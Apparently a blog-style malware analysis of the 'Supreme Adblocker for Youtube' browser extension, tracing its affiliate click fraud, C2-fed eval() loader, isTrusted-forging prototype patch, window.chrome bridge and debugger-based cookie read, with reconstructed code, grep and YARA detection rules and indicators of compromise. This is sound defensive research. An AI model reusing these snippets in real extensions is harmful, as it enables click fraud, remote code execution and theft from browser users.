Step 2 โ€” the base-36 substitution cipher is implemented across modules "3ad6" and "61bf":

import base64, math

def b_func(m):
    n = ord(m)
    if 47 < n < 58:   return n - 48    # '0'-'9' -> 0-9
    if 64 < n < 91:   return n - 55    # 'A'-'Z' -> 10-35
    return None

def e_func(prev_n, w, r, i):
    n   = r * 36 + w - prev_n
    div = math.floor((65 - i) / 5)
    if div == 0: return ''
    return chr(int(n / div) + 31)

def t_func(m, prev_n):
    if len(m) < 3:
        return ""
    i = b_func(m[0])
    w = b_func(m[2]) if len(m) > 2 else None
    r = b_func(m[3]) if len(m) > 3 else 0
    if i is None or w is None or r is None:
        return ""
    ch   = e_func(prev_n, w, r, i)
    rest = m[2:] if len(m) > 4 else ""
    return ch + t_func(rest, i)

# After base64-decoding, run through the cipher:
intermediate = base64.b64decode(b64_payload + "==").decode('utf-8', errors='replace')
result = t_func(intermediate, 0).strip()
string_table = result.split(';')

Each decoded character consumes two positions of the encoded string (positions 0 and 2-3; position 1 is a spacer). The prev_n state variable carries context between iterations, making this a stateful stream cipher rather than a simple lookup table.

Final decoded string table:

[0]  cnvifr
[1]  disprizhi
[2]  extftsams99ba          <-- storage key for redirect URL
[3]  svrdpcds               <-- payload sanity-check substring
[4]  ick.taobao.com/t_js?   <-- Taobao affiliate click endpoint
[5]  ion-click.jd.com       <-- JD.com affiliate click endpoint
[6]  https://www.$1.com/ext/load.php?f=svr.png  <-- remote PHP payload loader
[7]  liveupdt
[8]  dealctr
[9]  isWho                  <-- storage key for user-agent / browser ID
[10] guaiguai               <-- "legitimate user" marker
[11] jsonimg=               <-- JSON response wrapper key
[12] inst.v3                <-- storage key for install version
[13] ifr2top                <-- postMessage signal for iframe-to-top communication
[14] var hrl='
[15] sandbox                <-- attribute stripped from iframes
[16] %cLzyh--;color:green
[17] ^w{3}\.|:80$
[18] setTimeout
[19] exdipmver              <-- window fingerprint property name

The Affiliate Click Injection (Full Code Trace)

ick.taobao.com is Taobao's affiliate-click tracking endpoint. ion-click.jd.com is JD.com's. The core of module "dc38" implements the click injection:

// 'dc38' module export -- called with c(true) from 'bd10'
a.exports = function(isIframe) {

    // Only run in the top-level frame (not inside iframes)
    if (!isTopFrame(window)) return;

    var head = createElement("HEAD") || createElement("BODY");

    // Read the stored redirect directive from extension storage
    chrome.storage.local.get(m.r[2], function(stored) {  // m.r[2] = "extftsams99ba"
        var raw = stored[m.r[2]];
        if (raw) {
            // Value format: "<domain>^<affiliate_url>" (base64-encoded parts)
            var parts   = raw.toString().split("^");
            var domain  = multiAtob(parts[0], parts);  // decoded domain
            var destUrl = multiAtob(parts[1], parts);  // decoded affiliate URL

            if (location.href.indexOf(domain) > -1) {
                // User is on the target site -- fire the affiliate click
                var link = createElement("a");
                link.setAttribute("href", destUrl);
                head.appendChild(link);   // appended to <head>, invisible
                link.click();             // fires affiliate tracking pixel
                clearStorage(m.r[2], ""); // erase evidence from storage
            }
        }
    });

    // Signal the parent frame to remove sandbox attributes from iframes
    window.parent.postMessage(m.r[13], '*');  // "ifr2top"
};

The link is appended to <head>, not <body>, making it invisible in the rendered page. After the click fires, the storage key is erased, removing forensic evidence. The attacker earns an affiliate commission for a purchase they had nothing to do with.

The template URL https://www.$1.com/ext/load.php?f=svr.png shows that additional e-commerce domains can be added by the C2 server at any time. The f=svr.png parameter disguises a PHP script as a PNG image to avoid URL-based filters.

The multiAtob function (module "d518") applies atob() multiple times based on the length of the parts array, providing variable-depth base64 encoding to further obscure the stored URLs.


7. Layer Five: The Chrome API Bridge

A particularly sophisticated trick is the privilege-escalation bridge. The extension needs to run code that accesses Chrome APIs from within the context of a regular webpage โ€” an action normally forbidden by the browser's security model.

To bridge this gap, module "a431" injects a fake window.chrome object into the page via a <script> tag:

// The 'a431' module injects this function as a <script> tag into every page
function injectChromeBridge(extensionVersion, extensionId) {
    window.chrome = {
        runtime: {
            id: extensionId,
            sendMessage: (data, callback) => {
                postToExtension('eb2f', data);
                waitForResponse('3250', callback);
            }
        },
        storage: {
            local: {
                set: (data, callback) => {
                    postToExtension('c185', data);
                    if (callback) callback();
                },
                get: (data, callback) => {
                    postToExtension('9027', data);
                    waitForResponse('93b3', callback);
                }
            }
        }
    };

    // Fingerprint โ€” any page script can check for the extension's presence
    window.exdipmver = extensionVersion;
}

The content-script side listens to window.postMessage and routes calls to the real Chrome APIs:

// Content script side -- bridges postMessage to actual chrome.* APIs
window.addEventListener('message', (g) => {
    if (g.source !== window) return;
    switch (g.data.b) {
        case 'eb2f':  // sendMessage relay
            chrome.runtime.sendMessage(g.data.i, (u) => {
                window.postMessage({b: '3250', u}, '*');
            });
            break;
        case 'c185':  // storage.local.set relay
            chrome.storage.local.set(g.data.i, () => {});
            break;
        case '9027':  // storage.local.get relay
            chrome.storage.local.get(g.data.i, (u) => {
                window.postMessage({b: '93b3', u}, '*');
            });
            break;
    }
});

Any code running in an injected <script> tag on any webpage can now call window.chrome.storage.local.get(...) and receive real data from the extension's private storage. This effectively blurs the security boundary between the extension's privileged context and the untrusted web-page context.

The exported marker window.exdipmver (decoded from the hidden string table as index 19) is a fingerprint: any page-level script can check for this property to confirm it is running inside a browser with the malicious extension installed.

One additional obfuscation trick in "a431": the keyword undefined is re-used as a local function name โ€” a deliberate attempt to confuse static analysis tools that would flag a ReferenceError:

// "undefined" here is NOT the global undefined -- it's a locally-named function
function undefined(w) {
    return w ? "'" + w + "'" : this[r.r[20]] + ',';  // formats bridge arguments
}

8. Layer Six: Defeating isTrusted Click Checks

Modern browsers assign event.isTrusted = true only to events generated by real user interactions (keyboard press, mouse click). Scripts creating synthetic events via new MouseEvent() or element.click() get isTrusted = false. Many platforms, including YouTube, check this flag to reject bot-generated clicks.

youtube2.js patches this at the prototype level:

// js/youtube2.js
Element.prototype._onClick = Element.prototype.onClick;
Element.prototype.onClick = function () {
    let args = [...arguments];
    let temp = args[1];
    args[1] = function () {
        let args2 = [...arguments];
        args2[0] = Object.assign({}, args2[0]);
        args2[0].isTrusted = true;     // forge trusted flag on a plain object copy
        return temp(...args2);
    };
    return this._onClick(...args);
};

By overriding Element.prototype.onClick, every click handler on the page now receives a wrapper that forces isTrusted = true on the event object before passing it to the real handler. The platform's anti-bot check is defeated by overwriting the property on a plain object copy before the check runs.

This same technique bypasses YouTube's ad-skip-button detection โ€” but it also makes the fraudulent affiliate clicks appear to come from a real user, defeating JD.com's and Taobao's click-validity checks.


9. Layer Seven: eval() Running Remote JavaScript

The final and most direct attack vector is in youtube2.js. After ytBlocker.json is fetched and its script property stored in youtube.js:

// js/youtube.js -- stores the remote script from C2 into localStorage
localGet('ytBlockerJson').then((s) => {
    ytBlockerJson = s;
    if (ytBlockerJson && ytBlockerJson.script) {
        localStorage.setItem('ytBlockerScript', ytBlockerJson.script);
        $.getScript(chrome.runtime.getURL('js/youtube2.js'), function() {
            // youtube2.js is now loaded and will execute the script
        });
    }
});
// js/youtube2.js -- first two executed lines
var ytBlockerScript = localStorage.getItem('ytBlockerScript');
eval(ytBlockerScript);

The chain is: C2 server provides JSON โ†’ JSON contains a JavaScript string โ†’ stored in localStorage โ†’ eval() executes it. This is a textbook remote code execution pattern. There is no integrity check, no version control, and no sandboxing beyond what the browser already provides.

The XHR and Fetch Interception Chain

Following the eval(), youtube2.js wraps every outgoing network request:

// js/youtube2.js -- network interception hooks
function openBypass(original_open) {
    return function(method, url, async) {
        this.requestMethod = method;
        this.requestURL    = url;
        this.addEventListener("readystatechange", modifyResponse);
        return original_open.apply(this, arguments);
    };
}

function modifyResponse(response) {
    if (this.readyState === 4) {
        var modifyObj = getResponseModify(this.requestURL);
        if (modifyObj) {
            var original = this.responseText;
            Object.defineProperty(this, "responseText", {writable: true});
            this.responseText = newResponse(original, modifyObj);
        }
    }
}

XMLHttpRequest.prototype.open = openBypass(XMLHttpRequest.prototype.open);
XMLHttpRequest.prototype.send = sendBypass(XMLHttpRequest.prototype.send);

// Fetch equivalent
window.fetch = (requestObj, options) => {
    return originalFetch(requestObj, options).then(async (response) => {
        var modifyObj = getResponseModify(requestObj.url);
        if (modifyObj) {
            var text     = await response.clone().text();
            var modified = newResponse(text, modifyObj);
            return new Response(modified, response);
        }
        return response;
    });
};

if (typeof window.fetch == 'function') modifyFetchResponse();

getResponseModify() consults the ytBlockerJson configuration to decide which URLs to intercept and what transformations to apply. At present these transformations strip YouTube's ad-placement JSON nodes. However, because the hooks intercept any URL (not just YouTube), the same infrastructure could silently intercept banking API responses, OAuth tokens, or session cookies the moment the C2 server pushes an updated script value.


10. The Webpack Module Architecture

videojs-contrib-ads.min.js is a self-executing webpack bundle. The outer wrapper is:

(function(a) {
    function b(b) { /* module runner */ }
    function x() { /* dependency resolver */ }
    var n = {}, e = {options: 0}, f = [];
    function i(b) { /* require() implementation */ }
    // ...
})(/* module map */);

The module map is a plain JavaScript object where each key is a short identifier (like "070c", "3ad6", "bd10") and each value is a function function(a, b, x) where:

  • a = the module object (with .exports)
  • b = module.exports shorthand
  • x = require() function (loads another module by ID)

To read the code you must trace the x("module_id") calls. Key modules and their actual purposes:

Module ID Disguise Actual Purpose
"070c" CSS-in-JS (Emotion) Global config carrier (m, m.r, m.p)
"3ad6" CSS utility Generic function dispatcher / q() helper
"b501" CSS utility String splitter
"bd10" CSS cache Main payload orchestrator
"a431" Animation Chrome API bridge + remote code executor
"4acd" CSS animation DOM element factory (document.createElement)
"15ac" CSS-in-JS Install timestamp recorder
"dc38" Storage hook Affiliate redirect executor
"6ab7" Event emitter Random number generator
"6212" Reflect polyfill window.top === window.self checker
"4fe2" String replace Final decoded-URL formatter
"61bf" Reflect polyfill Base-36 decoder (t() function)
"8164" (utility) chrome.storage.local.set wrapper
"d518" CSS style getter Multi-pass atob() applier
"2bd2" (utility) Timestamp writer to storage

Execution flows in this order once chrome.storage.local.get(null, ...) resolves:

"bd10" (orchestrator)
  |
  +-- "2bd2"  record current timestamp to storage
  +-- "15ac"  if no install timestamp: write Date.now() to storage
  |
  +-- Check hoursSinceInstall:
        < 72h  โ†’ return early (silent)
        >= 72h โ†’ random 20% gate:
                   "dc38" (affiliate redirect executor)
                   "a431" (bridge + remote executor)
                     โ””โ”€โ”€ eval(storedCode) inside injected <script>

11. The debugger Permission Attack Surface

The debugger permission was clearly originally intended for the ad-skip feature. However, the permission is completely unscoped. An extension holding debugger permission is one API call away from:

// Arbitrary JS execution in any tab -- NOT currently used, but possible with this permission
chrome.debugger.attach({tabId: anyTabId}, '1.3', function() {
    chrome.debugger.sendCommand({tabId: anyTabId}, 'Runtime.evaluate', {
        expression: 'document.cookie'   // or any other JS
    }, function(result) {
        // result contains the return value
    });
});

The full list of capabilities unlocked by this single permission:

CDP Method What it exposes
Runtime.evaluate Run arbitrary JS in any tab's main world
DOM.getDocument + DOM.querySelector Extract any DOM node / form field value
Network.enable + Network.getResponseBody Read all HTTP responses after HTTPS decryption
Input.dispatchKeyEvent Type into any password field
Page.captureScreenshot Take a screenshot of any tab
Storage.clearDataForOrigin Delete data from any origin

No legitimate ad-blocker needs any of these capabilities. The presence of "debugger" in manifest.json is a major red flag in any extension that is not a developer tool.


12. Cross-Extension Signature: The YTMP4 Family

Comparing this extension with YTMP4 - Download YouTube Videos to MP4 (analyzed separately in this repository) reveals an unmistakable shared codebase:

Feature Supreme Adblocker YTMP4
PNG steganography after IEND Yes (25,069 bytes) Yes (1,902 bytes)
Unicode low-byte encoding Yes (unEscape) Yes (identical algorithm)
Shared config key "46ucadyb" Yes Yes
Fake data URI string table Yes Similar technique
72-hour activation sleeper Yes Yes
bai.qingcaila.top C2 Yes Different domain
Remote declarativeNetRequest updates Yes Yes
iframe/anchor click injection Yes Yes
window.chrome API bridge Yes Yes
exdipmver fingerprint Yes Yes

The shared "46ucadyb" key, the identical unEscape() algorithm, and the same module naming conventions (bk.Timeout, hadImages) confirm that both extensions were written by the same author or development team.

The YTMP4 extension used logo.png as the steganography carrier with a smaller 1,902-byte payload. The Supreme Adblocker uses working.png with a 25,069-byte payload โ€” a significantly more developed deployment. This suggests an iterative development process across multiple fake-utility extensions targeting different user needs (video downloaders, ad-blockers) with the same underlying fraud infrastructure.


13. The Full Attack Chain

Install
  |
  +-- install.html loads
  |     install.js sends install date + key to background
  |
  +-- serviceWorker.js (background)
  |     Fetches ytBlocker.json from bai.qingcaila.top  (every ~10 days)
  |     Stores config as ytBlockerJson in chrome.storage.local
  |     Records install timestamp
  |
  +-- youtube.js (content script, YouTube only)
  |     Reads ytBlockerJson from storage
  |     Stores ytBlockerJson.script as ytBlockerScript in localStorage
  |     Loads youtube2.js
  |
  +-- youtube2.js (content script, YouTube only)
  |     eval(localStorage.getItem('ytBlockerScript'))
  |     -- executes remote C2 JavaScript --
  |     Patches XHR + fetch to strip YouTube ad nodes
  |     Patches Element.prototype.onClick -> isTrusted=true
  |
  +-- videojs-contrib-ads.min.js (content script, ALL websites)
        Reads chrome.storage.local (all keys)
        Decodes string table from fake data URI (base64 + base-36 stream cipher)
        Checks install timestamp:
          < 72 hours  โ†’ exit silently
          >= 72 hours:
            Random 20% gate: 80% of page loads still skip
            "dc38" redirect executor:
              Read storage["extftsams99ba"]
              If page URL matches domain โ†’ inject hidden <a> + .click()
              โ†’ Taobao / JD.com affiliate tracking pixel fires
              โ†’ Clear storage key (destroy evidence)
            "a431" bridge + remote executor:
              Inject window.chrome bridge as <script> tag
              setTimeout(() => eval(storedCode))  -- C2 payload runs in page
        Every 48 hours:
          Fetch https://www.$1.com/ext/load.php?f=svr.png
          Store response as new executable code

14. Static Signatures for Detection

Grep patterns for automated scanners:

# C2 domain
grep -r "bai.qingcaila.top" .

# eval from localStorage
grep -rE 'eval\s*\(\s*localStorage\.getItem' .

# unEscape characteristic -- the two-digit hex slice
grep -rE 'uo\.substr\s*\(uo\.length\s*-\s*2' .

# 46ucadyb -- shared author key in both stego payload and main bundle
grep -r "46ucadyb" .

# isTrusted forgery
grep -rE 'isTrusted\s*=\s*true' .

# debugger attach
grep -rE 'chrome\.debugger\.attach' .

# Fake data URI embedded in a JS variable (not in HTML)
grep -rE '"data:image/png;base64,[A-Z0-9]{200}"' .

# PNG appended-data check (Python one-liner)
python3 -c "
data = open('icons/working.png','rb').read()
iend = data.find(b'\x49\x45\x4e\x44\xae\x42\x60\x82')
extra = len(data) - iend - 8
if extra > 100: print(f'SUSPICIOUS: {extra} bytes after IEND')
"

YARA rule:

rule SupremeAdblocker_ClickFraud {
    meta:
        description = "Detects Supreme Adblocker for Youtube click-fraud trojan family"
        author      = "reverse engineered from d4dac150 / ytmp4 family"

    strings:
        $c2_domain    = "bai.qingcaila.top" ascii
        $eval_local   = "eval(ytBlockerScript)" ascii
        $unEscape     = "uo.substr(uo.length - 2" ascii
        $isTrusted    = "isTrusted = true" ascii
        $key_shared   = "46ucadyb" ascii
        $fingerprint  = "exdipmver" ascii
        $taobao       = "ick.taobao.com" ascii
        $jd_click     = "ion-click.jd.com" ascii
        $debugger_cmd = "Input.dispatchMouseEvent" ascii

    condition:
        3 of them
}

15. How to Detect This Class of Threat

For users:

  • Be suspicious of any extension that requests debugger permission โ€” no legitimate ad-blocker needs it.
  • An extension that matches "all URLs" (http://*/*, https://*/*) in its content scripts runs on your bank, your email, and your shopping sites โ€” not just YouTube.
  • If a browser extension shows more than one content-script block in manifest.json, check what each block actually matches.
  • Check for unexplained affiliate visits to Taobao or JD.com in your browser history.

For developers and security researchers:

  • Check for bytes after the PNG IEND chunk. Any data there is hidden by definition.
  • Search for eval() taking a localStorage value โ€” this is a classic C2 payload mechanism.
  • Decode data:image/...;base64, values that appear inside JavaScript strings rather than in HTML. If the decoded content is not a real image, something is being hidden.
  • Look for Element.prototype.onClick reassignment โ€” a legitimate extension has no reason to monkey-patch event prototypes.
  • The debugger permission in manifest.json is a major red flag in any non-developer-tool extension.
  • Look for setTimeout(string, delay) calls โ€” the string form of setTimeout is a functional alias for eval().

16. Indicators of Compromise

Type Value
Extension ID d4dac150-09dd-4ee9-9edf-176b06f05b9d@adblockutube
Extension SHA-256 41a36be9609501fac979ace620d3468d5ad70d43ee9ce2707bbca6e9af017680
Extension version 1.9.0
C2 domain bai.qingcaila.top
C2 URL 1 https://bai.qingcaila.top/ytBlocker.json
C2 URL 2 https://bai.qingcaila.top/yt/working.js
Payload URL template https://www.$1.com/ext/load.php?f=svr.png
Affiliate target 1 ick.taobao.com (Taobao click-tracking endpoint)
Affiliate target 2 ion-click.jd.com (JD.com click-tracking endpoint)
Storage key (redirect URL) extftsams99ba
Storage key (C2 config) ytBlockerJson
Storage key (C2 payload) 87ea
localStorage key (eval target) ytBlockerScript
Window fingerprint property exdipmver
PNG stego carrier icons/working.png, bytes 27,632 onward
Stego header \r\nJson (hex: 0d 0a 4a 73 6f 6e)
Shared author key 46ucadyb (also present in YTMP4 extension)

Network indicators to watch for:

  • Outbound HTTPS to bai.qingcaila.top from a browser process
  • Outbound request with path /ytBlocker.json or /yt/working.js
  • Background polling approximately every 10 days (9e8 ms threshold)

17. Summary

"Supreme Adblocker for Youtube" is a multi-layered trojan that uses the following techniques in combination:

Technique Purpose
YouTube ad-blocking Legitimacy cover / keeps users installed
72-hour activation delay Evades quick manual review
20% random sampling Reduces anomaly signal further
PNG steganography (25 KB) Hides JavaScript payload from file scanners
Unicode low-byte encoding Obfuscates hidden payload content
Fake library filename Disguises malicious script as open-source
data:image encoded string table Hides C2 domain and target URLs from grep
Base-36 stateful stream cipher Double-encodes the string table
Remote JSON + eval() Full remote code execution backdoor
setTimeout(string) alias Disguises a second eval() call
debugger permission + CDP Hardware-level click simulation in any tab
isTrusted prototype patch Defeats bot-click detection on target sites
window.chrome bridge Escalates page-script to extension privileges
undefined re-used as function name Confuses static analysis tools
Hidden <a> + .click() Silent affiliate commission fraud
Storage cleanup after click Erases forensic evidence mid-run
<head> element injection Keeps fraudulent links out of visible DOM

The underlying motivation is financial: the attacker earns affiliate commissions every time an infected user visits Taobao or JD.com. At scale, even a tiny per-click commission across tens of thousands of installations generates meaningful revenue with zero visible interaction from the victim.

The remote execution channel is the more dangerous long-term risk. The attacker can change ytBlocker.json at any time to deploy an entirely different payload โ€” credential harvesting, session token exfiltration, or phishing overlays. There is nothing in the extension that restricts what the evaluated code can do.

Comparison with the YTMP4 family extension confirms that this is not an isolated piece of malware but a campaign โ€” the same infrastructure reused across multiple fake-utility extensions targeting different categories of user.


Need an Android Developer or a full-stack website developer?

I specialize in Kotlin, Jetpack Compose, and Material Design 3. For websites, I use modern web technologies to create responsive and user-friendly experiences. Check out my portfolio or get in touch to discuss your project.